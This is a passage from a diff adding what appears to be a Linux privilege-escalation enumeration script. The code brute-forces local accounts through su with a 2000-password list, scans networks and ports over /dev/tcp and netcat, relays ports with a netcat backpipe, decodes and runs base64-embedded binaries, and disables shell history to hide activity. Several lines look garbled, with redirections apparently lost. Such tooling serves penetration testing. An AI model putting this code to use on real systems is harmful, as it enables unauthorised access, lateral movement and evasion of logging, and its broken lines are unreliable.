2>/dev/null | wc -l 2>/dev/null)" -lt 8 ]; then + NOUSEPS="1" +fi + +DISCOVER_BAN_BAD="No network discovery capabilities (fping or ping not found)" +FPING=$(command -v fping 2>/dev/null) +PING=$(command -v ping 2>/dev/null) +if [ "$FPING" ]; then + DISCOVER_BAN_GOOD="$GREEN$FPING${BLUE} is available for network discovery$LG ($SCRIPTNAME can discover hosts, learn more with -h)" +else + if [ "$PING" ]; then + DISCOVER_BAN_GOOD="$GREEN$PING${BLUE} is available for network discovery$LG ($SCRIPTNAME can discover hosts, learn more with -h)" + fi +fi + +SCAN_BAN_BAD="No port scan capabilities (nc and bash not found)" + +if [ "$(command -v bash)" ] && ! [ -L "$(command -v bash)" ]; then + FOUND_BASH=$(command -v bash); +elif [ -f "/bin/bash" ] && ! [ -L "/bin/bash" ]; then + FOUND_BASH="/bin/bash"; +fi +if [ "$FOUND_BASH" ]; then + SCAN_BAN_GOOD="$YELLOW[+] $GREEN$FOUND_BASH${BLUE} is available for network discovery, port scanning and port forwarding$LG ($SCRIPTNAME can discover hosts, scan ports, and forward ports. Learn more with -h)\n" +fi + +FOUND_NC=$(command -v nc 2>/dev/null) +if [ -z "$FOUND_NC" ]; then + FOUND_NC=$(command -v netcat 2>/dev/null); +fi +if [ -z "$FOUND_NC" ]; then + FOUND_NC=$(command -v ncat 2>/dev/null); +fi +if [ -z "$FOUND_NC" ]; then + FOUND_NC=$(command -v nc.traditional 2>/dev/null); +fi +if [ -z "$FOUND_NC" ]; then + FOUND_NC=$(command -v nc.openbsd 2>/dev/null); +fi +if [ "$FOUND_NC" ]; then + SCAN_BAN_GOOD="$SCAN_BAN_GOOD$YELLOW[+] $GREEN$FOUND_NC${BLUE} is available for network discovery & port scanning$LG ($SCRIPTNAME can discover hosts and scan ports, learn more with -h)\n" +fi + + +########################################### +#-----------) Main Functions (------------# +########################################### + +echo_not_found (){ + printf $DG"$1 Not Found\n"$NC +} + +warn_exec(){ + $* 2>/dev/null || echo_not_found $1 +} + +echo_no (){ + printf $DG"No\n"$NC +} + +print_title(){ + if [ "$DEBUG" ]; then + END_T2_TIME=$(date +%s 2>/dev/null) + if [ "$START_T2_TIME" ]; then + TOTAL_T2_TIME=$(($END_T2_TIME - $START_T2_TIME)) + printf $DG"This check took $TOTAL_T2_TIME seconds\n"$NC + fi + + END_T1_TIME=$(date +%s 2>/dev/null) + if [ "$START_T1_TIME" ]; then + TOTAL_T1_TIME=$(($END_T1_TIME - $START_T1_TIME)) + printf $DG"The total section execution took $TOTAL_T1_TIME seconds\n"$NC + echo "" + fi + + START_T1_TIME=$(date +%s 2>/dev/null) + fi + + title=$1 + title_len=$(echo $title | wc -c) + max_title_len=80 + rest_len=$((($max_title_len - $title_len) / 2)) + + printf ${BLUE} + for i in $(seq 1 $rest_len); do printf " "; done + printf "╔" + for i in $(seq 1 $title_len); do printf "═"; done; printf "═"; + printf "╗" + + echo "" + + for i in $(seq 1 $rest_len); do printf "═"; done + printf "╣ $GREEN${title}${BLUE} ╠" + for i in $(seq 1 $rest_len); do printf "═"; done + + echo "" + + printf ${BLUE} + for i in $(seq 1 $rest_len); do printf " "; done + printf "╚" + for i in $(seq 1 $title_len); do printf "═"; done; printf "═"; + printf "╝" + + printf $NC + echo "" +} + +print_2title(){ + if [ "$DEBUG" ]; then + END_T2_TIME=$(date +%s 2>/dev/null) + if [ "$START_T2_TIME" ]; then + TOTAL_T2_TIME=$(($END_T2_TIME - $START_T2_TIME)) + printf $DG"This check took $TOTAL_T2_TIME seconds\n"$NC + echo "" + fi + + START_T2_TIME=$(date +%s 2>/dev/null) + fi + + printf ${BLUE}"╔══════════╣ $GREEN$1\n"$NC #There are 10 "═" +} + +print_3title(){ + printf ${BLUE}"══╣ $GREEN$1\n"$NC #There are 2 "═" +} + +print_3title_no_nl(){ + printf "\033[2K\r" + printf ${BLUE}"══╣ $GREEN${1}..."$NC #There are 2 "═" +} + +print_list(){ + printf ${BLUE}"═╣ $GREEN$1"$NC #There is 1 "═" +} + +print_info(){ + printf "${BLUE}╚ ${ITALIC_BLUE}$1\n"$NC +} + +print_ps (){ + (ls -d /proc/*/ 2>/dev/null | while read f; do + CMDLINE=$(cat $f/cmdline 2>/dev/null | grep -av "seds,"); #Delete my own sed processess + if [ "$CMDLINE" ]; + then var USER2=ls -ld $f | awk '{print $3}'; PID=$(echo $f | cut -d "/" -f3); + printf " %-13s %-8s %s\n" "$USER2" "$PID" "$CMDLINE"; + fi; + done) 2>/dev/null | sort -r +} + +su_try_pwd (){ + BFUSER=$1 + PASSWORDTRY=$2 + trysu=$(echo "$PASSWORDTRY" | timeout 1 su $BFUSER -c whoami 2>/dev/null) + if [ "$trysu" ]; then + echo " You can login as $BFUSER using password: $PASSWORDTRY" | sed -${E} "s,.*,${SED_RED_YELLOW}," + fi +} + +su_brute_user_num (){ + BFUSER=$1 + TRIES=$2 + su_try_pwd "$BFUSER" "" & #Try without password + su_try_pwd "$BFUSER" "$BFUSER" & #Try username as password + su_try_pwd "$BFUSER" "$(echo $BFUSER | rev 2>/dev/null)" & #Try reverse username as password + if [ "$PASSWORD" ]; then + su_try_pwd "$BFUSER" "$PASSWORD" & #Try given password + fi + for i in $(seq "$TRIES"); do + su_try_pwd "$BFUSER" "$(echo $top2000pwds | cut -d ' ' -f $i)" & #Try TOP TRIES of passwords (by default 2000) + sleep 0.007 # To not overload the system + done + wait +} + +check_if_su_brute(){ + error=$(echo "" | timeout 1 su $(whoami) -c whoami 2>&1); + if ! echo $error | grep -q "must be run from a terminal"; then + echo "1" + fi +} + +eval_bckgrd(){ + eval "$1" & + CONT_THREADS=$(($CONT_THREADS+1)); if [ "$(($CONT_THREADS%$THREADS))" -eq "0" ]; then wait; fi +} + +macosNotSigned(){ + for filename in $1/*; do + if codesign -vv -d \"$filename\" 2>&1 | grep -q 'not signed'; then + echo "$filename isn't signed" | sed -${E} "s,.*,${SED_RED}," + fi + done +} + +execBin(){ + TOOL_NAME=$1 + TOOL_LINK=$2 + B64_BIN=$3 + PARAMS=$4 + if [ "$B64_BIN" ]; then + echo "" + print_3title "Running $TOOL_NAME" + print_info "$TOOL_LINK" + echo "$B64_BIN" | base64 -d > $Wfolder/bin + chmod +x $Wfolder/bin + eval "$Wfolder/bin $PARAMS" + rm -f $Wfolder/bin + echo "" + fi +} + +########################################### +#---------) Internet functions (----------# +########################################### +check_tcp_80(){ + (timeout -s KILL 20 /bin/bash -c '( echo >/dev/tcp/1.1.1.1/80 && echo "Port 80 is accessible" || echo "Port 80 is not accessible") 2>/dev/null | grep "accessible"') 2>/dev/null || echo "Port 80 is not accessible" +} +check_tcp_443(){ + (timeout -s KILL 20 /bin/bash -c '(echo >/dev/tcp/1.1.1.1/443 && echo "Port 443 is accessible" || echo "Port 443 is not accessible") 2>/dev/null | grep "accessible"') 2>/dev/null || echo "Port 443 is not accessible" +} +check_icmp(){ + (timeout -s KILL 20 /bin/bash -c '(ping -c 1 1.1.1.1 | grep "1 received" && echo "Ping is available" || echo "Ping is not available") 2>/dev/null | grep "available"') 2>/dev/null || echo "Ping is not available" +} +#DNS function from: https://unix.stackexchange.com/questions/600194/create-dns-query-with-netcat-or-dev-udp +#I cannot use this function because timeout doesn't find it, so it's copy/pasted below +check_dns(){ + (timeout 20 /bin/bash -c '(( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001 0001 | xxd -p -r >&3; dd bs=9000 count=1 <&3 2>/dev/null | xxd ) 3>/dev/udp/1.1.1.1/53 && echo "DNS available" || echo "DNS not available") 2>/dev/null | grep "available"' ) 2>/dev/null || echo "DNS not available" +} + +########################################### +#----------) Network functions (----------# +########################################### +# Adapted from https://github.com/carlospolop/bashReconScan/blob/master/brs.sh + +basic_net_info(){ + print_title "Basic Network Info" + (ifconfig || ip a) 2>/dev/null + echo "" +} + +select_nc (){ + #Select the correct configuration of the netcat found + NC_SCAN="$FOUND_NC -v -n -z -w 1" + $($NC_SCAN 127.0.0.1 65321 > /dev/null 2>&1) + if [ $? -eq 2 ] + then + NC_SCAN="timeout 1 $FOUND_NC -v -n" + fi +} + +icmp_recon (){ + #Discover hosts inside a /24 subnetwork using ping (start pingging broadcast addresses) + IP3=$(echo $1 | cut -d "." -f 1,2,3) + + (timeout 1 ping -b -c 1 "$IP3.255" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${SED_RED},") & + (timeout 1 ping -b -c 1 "255.255.255.255" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${SED_RED},") & + for j in $(seq 0 254) + do + (timeout 1 ping -b -c 1 "$IP3.$j" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${SED_RED},") & + done + wait +} + +tcp_recon (){ + #Discover hosts inside a /24 subnetwork using tcp connection to most used ports and selected ones + IP3=$(echo $1 | cut -d "." -f 1,2,3) + PORTS=$2 + printf ${YELLOW}"[+]${BLUE} Ports going to be scanned: $PORTS" $NC | tr '\n' " " + printf "$NC\n" + + for port in $PORTS; do + for j in $(seq 1 254) + do + if [ "$FOUND_BASH" ] && [ "$TIMEOUT" ]; then + $TIMEOUT 2.5 $FOUND_BASH -c "(echo /dev/null && echo -e \"\n[+] Open port at: $IP3.$j:$port\"" & + elif [ "$NC_SCAN" ]; then + ($NC_SCAN "$IP3"."$j" "$port" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") & + fi + done + wait + done +} + +tcp_port_scan (){ + #Scan open ports of a host. Default: nmap top 1000, but the user can select others + basic_net_info + + print_title "Network Port Scanning" + IP=$1 + PORTS="$2" + + if [ -z "$PORTS" ]; then + printf ${YELLOW}"[+]${BLUE} Ports going to be scanned: DEFAULT (nmap top 1000)" $NC | tr '\n' " " + printf "$NC\n" + PORTS="1 3 4 6 7 9 13 17 19 20 21 22 23 24 25 26 30 32 33 37 42 43 49 53 70 79 80 81 82 83 84 85 88 89 90 99 100 106 109 110 111 113 119 125 135 139 143 144 146 161 163 179 199 211 212 222 254 255 256 259 264 280 301 306 311 340 366 389 406 407 416 417 425 427 443 444 445 458 464 465 481 497 500 512 513 514 515 524 541 543 544 545 548 554 555 563 587 593 616 617 625 631 636 646 648 666 667 668 683 687 691 700 705 711 714 720 722 726 749 765 777 783 787 800 801 808 843 873 880 888 898 900 901 902 903 911 912 981 987 990 992 993 995 999 1000 1001 1002 1007 1009 1010 1011 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1102 1104 1105 1106 1107 1108 1110 1111 1112 1113 1114 1117 1119 1121 1122 1123 1124 1126 1130 1131 1132 1137 1138 1141 1145 1147 1148 1149 1151 1152 1154 1163 1164 1165 1166 1169 1174 1175 1183 1185 1186 1187 1192 1198 1199 1201 1213 1216 1217 1218 1233 1234 1236 1244 1247 1248 1259 1271 1272 1277 1287 1296 1300 1301 1309 1310 1311 1322 1328 1334 1352 1417 1433 1434 1443 1455 1461 1494 1500 1501 1503 1521 1524 1533 1556 1580 1583 1594 1600 1641 1658 1666 1687 1688 1700 1717 1718 1719 1720 1721 1723 1755 1761 1782 1783 1801 1805 1812 1839 1840 1862 1863 1864 1875 1900 1914 1935 1947 1971 1972 1974 1984 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2013 2020 2021 2022 2030 2033 2034 2035 2038 2040 2041 2042 2043 2045 2046 2047 2048 2049 2065 2068 2099 2100 2103 2105 2106 2107 2111 2119 2121 2126 2135 2144 2160 2161 2170 2179 2190 2191 2196 2200 2222 2251 2260 2288 2301 2323 2366 2381 2382 2383 2393 2394 2399 2401 2492 2500 2522 2525 2557 2601 2602 2604 2605 2607 2608 2638 2701 2702 2710 2717 2718 2725 2800 2809 2811 2869 2875 2909 2910 2920 2967 2968 2998 3000 3001 3003 3005 3006 3007 3011 3013 3017 3030 3031 3052 3071 3077 3128 3168 3211 3221 3260 3261 3268 3269 3283 3300 3301 3306 3322 3323 3324 3325 3333 3351 3367 3369 3370 3371 3372 3389 3390 3404 3476 3493 3517 3527 3546 3551 3580 3659 3689 3690 3703 3737 3766 3784 3800 3801 3809 3814 3826 3827 3828 3851 3869 3871 3878 3880 3889 3905 3914 3918 3920 3945 3971 3986 3995 3998 4000 4001 4002 4003 4004 4005 4006 4045 4111 4125 4126 4129 4224 4242 4279 4321 4343 4443 4444 4445 4446 4449 4550 4567 4662 4848 4899 4900 4998 5000 5001 5002 5003 5004 5009 5030 5033 5050 5051 5054 5060 5061 5080 5087 5100 5101 5102 5120 5190 5200 5214 5221 5222 5225 5226 5269 5280 5298 5357 5405 5414 5431 5432 5440 5500 5510 5544 5550 5555 5560 5566 5631 5633 5666 5678 5679 5718 5730 5800 5801 5802 5810 5811 5815 5822 5825 5850 5859 5862 5877 5900 5901 5902 5903 5904 5906 5907 5910 5911 5915 5922 5925 5950 5952 5959 5960 5961 5962 5963 5987 5988 5989 5998 5999 6000 6001 6002 6003 6004 6005 6006 6007 6009 6025 6059 6100 6101 6106 6112 6123 6129 6156 6346 6389 6502 6510 6543 6547 6565 6566 6567 6580 6646 6666 6667 6668 6669 6689 6692 6699 6779 6788 6789 6792 6839 6881 6901 6969 7000 7001 7002 7004 7007 7019 7025 7070 7100 7103 7106 7200 7201 7402 7435 7443 7496 7512 7625 7627 7676 7741 7777 7778 7800 7911 7920 7921 7937 7938 7999 8000 8001 8002 8007 8008 8009 8010 8011 8021 8022 8031 8042 8045 8080 8081 8082 8083 8084 8085 8086 8087 8088 8089 8090 8093 8099 8100 8180 8181 8192 8193 8194 8200 8222 8254 8290 8291 8292 8300 8333 8383 8400 8402 8443 8500 8600 8649 8651 8652 8654 8701 8800 8873 8888 8899 8994 9000 9001 9002 9003 9009 9010 9011 9040 9050 9071 9080 9081 9090 9091 9099 9100 9101 9102 9103 9110 9111 9200 9207 9220 9290 9415 9418 9485 9500 9502 9503 9535 9575 9593 9594 9595 9618 9666 9876 9877 9878 9898 9900 9917 9929 9943 9944 9968 9998 9999 10000 10001 10002 10003 10004 10009 10010 10012 10024 10025 10082 10180 10215 10243 10566 10616 10617 10621 10626 10628 10629 10778 11110 11111 11967 12000 12174 12265 12345 13456 13722 13782 13783 14000 14238 14441 14442 15000 15002 15003 15004 15660 15742 16000 16001 16012 16016 16018 16080 16113 16992 16993 17877 17988 18040 18101 18988 19101 19283 19315 19350 19780 19801 19842 20000 20005 20031 20221 20222 20828 21571 22939 23502 24444 24800 25734 25735 26214 27000 27352 27353 27355 27356 27715 28201 30000 30718 30951 31038 31337 32768 32769 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779 32780 32781 32782 32783 32784 32785 33354 33899 34571 34572 34573 35500 38292 40193 40911 41511 42510 44176 44442 44443 44501 45100 48080 49152 49153 49154 49155 49156 49157 49158 49159 49160 49161 49163 49165 49167 49175 49176 49400 49999 50000 50001 50002 50003 50006 50300 50389 50500 50636 50800 51103 51493 52673 52822 52848 52869 54045 54328 55055 55056 55555 55600 56737 56738 57294 57797 58080 60020 60443 61532 61900 62078 63331 64623 64680 65000 65129 65389" + else + PORTS="$(echo $PORTS | tr ',' ' ')" + printf ${YELLOW}"[+]${BLUE} Ports going to be scanned: $PORTS" $NC | tr '\n' " " + printf "$NC\n" + fi + + for port in $PORTS; do + if [ "$FOUND_BASH" ]; then + $FOUND_BASH -c "(echo /dev/null && echo -n \"[+] Open port at: $IP:$port\"" & + elif [ "$NC_SCAN" ]; then + ($NC_SCAN "$IP" "$port" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") & + fi + done + wait +} + +discover_network (){ + #Check if IP and Netmask are correct and the use fping or ping to find hosts + basic_net_info + + print_title "Network Discovery" + + DISCOVERY=$1 + IP=$(echo "$DISCOVERY" | cut -d "/" -f 1) + NETMASK=$(echo "$DISCOVERY" | cut -d "/" -f 2) + + if [ -z "$IP" ] || [ -z "$NETMASK" ]; then + printf $RED"[-] Err: Bad format. Example: 127.0.0.1/24"$NC; + printf ${BLUE}"$HELP"$NC; + exit 0 + fi + + #Using fping if possible + if [ "$FPING" ]; then + $FPING -a -q -g "$DISCOVERY" | sed -${E} "s,.*,${SED_RED}," + + #Loop using ping + else + if [ "$NETMASK" -eq "24" ]; then + printf ${YELLOW}"[+]$GREEN Netmask /24 detected, starting...\n$NC" + icmp_recon $IP + + elif [ "$NETMASK" -eq "16" ]; then + printf ${YELLOW}"[+]$GREEN Netmask /16 detected, starting...\n$NC" + for i in $(seq 1 254) + do + NEWIP=$(echo "$IP" | cut -d "." -f 1,2).$i.1 + icmp_recon "$NEWIP" + done + else + printf $RED"[-] Err: Sorry, only Netmask /24 and /16 supported in ping mode. Netmask detected: $NETMASK"$NC; + exit 0 + fi + fi +} + +discovery_port_scan (){ + basic_net_info + + #Check if IP and Netmask are correct and the use nc to find hosts. By default check ports: 22 80 443 445 3389 + print_title "Internal Network Discovery - Finding hosts and scanning ports" + DISCOVERY=$1 + MYPORTS=$2 + + IP=$(echo "$DISCOVERY" | cut -d "/" -f 1) + NETMASK=$(echo "$DISCOVERY" | cut -d "/" -f 2) + echo "Scanning: $DISCOVERY" + + if [ -z "$IP" ] || [ -z "$NETMASK" ] || [ "$IP" = "$NETMASK" ]; then + printf $RED"[-] Err: Bad format. Example: 127.0.0.1/24\n"$NC; + if [ "$IP" = "$NETMASK" ]; then + printf $RED"[*] This options is used to find active hosts by scanning ports. If you want to perform a port scan of a host use the options: ${YELLOW}-i [-p ]\n\n"$NC; + fi + printf ${BLUE}"$HELP"$NC; + exit 0 + fi + + PORTS="22 80 443 445 3389 $(echo $MYPORTS | tr ',' ' ')" + PORTS=$(echo "$PORTS" | tr " " "\n" | sort -u) #Delete repetitions + + if [ "$NETMASK" -eq "24" ]; then + printf ${YELLOW}"[+]$GREEN Netmask /24 detected, starting...\n" $NC + tcp_recon "$IP" "$PORTS" + + elif [ "$NETMASK" -eq "16" ]; then + printf ${YELLOW}"[+]$GREEN Netmask /16 detected, starting...\n" $NC + for i in $(seq 0 255) + do + NEWIP=$(echo "$IP" | cut -d "." -f 1,2).$i.1 + tcp_recon "$NEWIP" "$PORTS" + done + else + printf $RED"[-] Err: Sorry, only netmask /24 and /16 are supported in port discovery mode. Netmask detected: $NETMASK\n"$NC; + exit 0 + fi +} + + +port_forward (){ + LOCAL_IP=$1 + LOCAL_PORT=$2 + REMOTE_IP=$3 + REMOTE_PORT=$4 + + echo "In your machine execute:" + echo "cd /tmp; rm backpipe; mknod backpipe p;" + echo "nc -lvnp $LOCAL_PORT 0backpipe" + echo "" + read -p "Press any key when you have executed those commands" useless_var + + bash -c "exec 3<>/dev/tcp/$REMOTE_IP/$REMOTE_PORT; exec 4<>/dev/tcp/$LOCAL_IP/9009; cat <&3 >&4 & cat <&4 >&3 &" + echo "If not error was indicated, your host port $LOCAL_PORT should be forwarded to $REMOTE_IP:$REMOTE_PORT" +} + + +########################################### +#---) Exporting history env variables (---# +########################################### + +unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH +export HISTFILE=/dev/null +export HISTSIZE=0 +export HISTFILESIZE=0 + + + +########################################### +#-----------) Some Basic Info (-----------# +########################################### + +print_title "Basic information" +printf $LG"OS: "$NC +(cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED}," +printf $LG"User & Groups: "$NC +(id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$idB,${SED_RED},g" +printf $LG"Hostname: "$NC +hostname 2>/dev/null +printf $LG"Writable folder: "$NC; +echo $Wfolder + +if ! [ "$FAST" ] && ! [ "$AUTO_NETWORK_SCAN" ]; then + printf $LG"Remember that you can use the '-t' option to call the Internet connectivity checks and automatic network recon!\n"$NC; +fi + +if [ "$DISCOVER_BAN_GOOD" ]; then + printf $YELLOW"[+] $DISCOVER_BAN_GOOD\n$NC" +else + printf $RED"[-] $DISCOVER_BAN_BAD\n$NC" +fi + +if [ "$SCAN_BAN_GOOD" ]; then + printf "$SCAN_BAN_GOOD\n$NC" +else + printf $RED"[-] $SCAN_BAN_BAD\n$NC" +fi +if [ "$(command -v nmap 2>/dev/null)" ];then + NMAP_GOOD=$GREEN"nmap${BLUE} is available for network discovery & port scanning, you should use it yourself" + printf $YELLOW"[+] $NMAP_GOOD\n$NC" +fi +echo "" +echo "" + +########################################### +#--------) Check if network jobs (--------# +########################################### +if [ "$PORTS" ]; then + if [ "$SCAN_BAN_GOOD" ]; then + if [ "$(echo -n $PORTS | sed 's,[0-9, ],,g')" ]; then + printf $RED"[-] Err: Symbols detected in the port, for discovering purposes select only 1 port\n"$NC; + printf ${BLUE}"$HELP"$NC; + exit 0 + else + #Select the correct configuration of the netcat found + select_nc + fi + else + printf $RED" Err: Port scan not possible, any netcat in PATH\n"$NC; + printf ${BLUE}"$HELP"$NC; + exit 0 + fi +fi + +if [ "$DISCOVERY" ]; then + if [ "$PORTS" ]; then + discovery_port_scan $DISCOVERY $PORTS + else + if [ "$DISCOVER_BAN_GOOD" ]; then + discover_network $DISCOVERY + else + printf $RED" Err: Discovery not possible, no fping or ping in PATH\n"$NC; + fi + fi + exit 0 + +elif [ "$IP" ]; then + select_nc + tcp_port_scan $IP "$PORTS" + exit 0 +fi + +if [ "$PORT_FORWARD" ]; then + if ! [ "$FOUND_BASH" ]; then + printf $RED"[-] Err: Port forwarding not possible, no bash in PATH\n"$NC; + exit 0 + fi + + LOCAL_IP="$(echo -n $PORT_FORWARD | cut -d ':' -f 1)" + LOCAL_PORT="$(echo -n $PORT_FORWARD | cut -d ':' -f 2)" + REMOTE_IP="$(echo -n $PORT_FORWARD | cut -d ':' -f 3)" + REMOTE_PORT="$(echo -n $PORT_FORWARD | cut -d ':' -f 4)" + + if ! [ "$LOCAL_IP" ] || ! [ "$LOCAL_PORT" ] || ! [ "$REMOTE_IP" ] || ! [ "$REMOTE_PORT" ]; then + printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC; + exit 0 + fi + + #Check if LOCAL_PORT is a number + if ! [ "$(echo $LOCAL_PORT | grep -E '^[0-9]+$')" ]; then + printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC; + fi + + #Check if REMOTE_PORT is a number + if ! [ "$(echo $REMOTE_PORT | grep -E '^[0-9]+$')" ]; then + printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC; + fi + + port_forward "$LOCAL_IP" "$LOCAL_PORT" "$REMOTE_IP" "$REMOTE_PORT" + exit 0 +fi + + +#Get HOMESEARCH +if [ "$SEARCH_IN_FOLDER" ]; then + HOMESEARCH="${ROOT_FOLDER}home/ ${ROOT_FOLDER}Users/ ${ROOT_FOLDER}root/ ${ROOT_FOLDER}var/www/" +else + HOMESEARCH="/home/ /Users/ /root/ /var/www $(cat /etc/passwd 2>/dev/null | grep "sh$" | cut -d ":" -f 6 | grep -Ev "^/root|^/home|^/Users|^/var/www" | tr "\n" " ")" + if ! echo "$HOMESEARCH" | grep -q "$HOME" && ! echo "$HOMESEARCH" | grep -qE "^/root|^/home|^/Users|^/var/www"; then #If not listed and not in /home, /Users/, /root, or /var/www add current home folder + HOMESEARCH="$HOME $HOMESEARCH" + fi +fi +GREPHOMESEARCH=$(echo "$HOMESEARCH" | sed 's/ *$//g' | tr " " "|") #Remove ending spaces before putting "|" + + + + +########################################### +#----------) Caching Finds (--------------# +########################################### +if [ "$SEARCH_IN_FOLDER" ]; then + printf $GREEN"Caching directories "$NC + + CONT_THREADS=0 + # FIND ALL KNOWN INTERESTING SOFTWARE FILES + peass{FINDS_CUSTOM} + + wait # Always wait at the end + CONT_THREADS=0 #Reset the threads counter + +elif echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | grep -q software_information || echo $CHECKS | grep -q interesting_files; then + + printf $GREEN"Caching directories "$NC + + CONT_THREADS=0 + # FIND ALL KNOWN INTERESTING SOFTWARE FILES + peass{FINDS_HERE} + + wait # Always wait at the end + CONT_THREADS=0 #Reset the threads counter +fi + +if [ "$SEARCH_IN_FOLDER" ] || echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | grep -q software_information || echo $CHECKS | grep -q interesting_files; then + #GENERATE THE STORAGES OF THE FOUND FILES + peass{STORAGES_HERE} + + ##### POST SERACH VARIABLES ##### + backup_folders_row="$(echo $PSTORAGE_BACKUPS | tr '\n' ' ')" + printf ${YELLOW}"DONE\n"$NC + echo "" +fi + + + + + + + + + + + + + +if echo $CHECKS | grep -q system_information; then +print_title "System Information" +########################################### +#-------------) System Info (-------------# +########################################### + +#-- SY) OS +print_2title "Operative system" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits" +(cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED}," +warn_exec lsb_release -a 2>/dev/null +if [ "$MACPEAS" ]; then + warn_exec system_profiler SPSoftwareDataType +fi +echo "" + +#-- SY) Sudo +print_2title "Sudo version" +if [ "$(command -v sudo 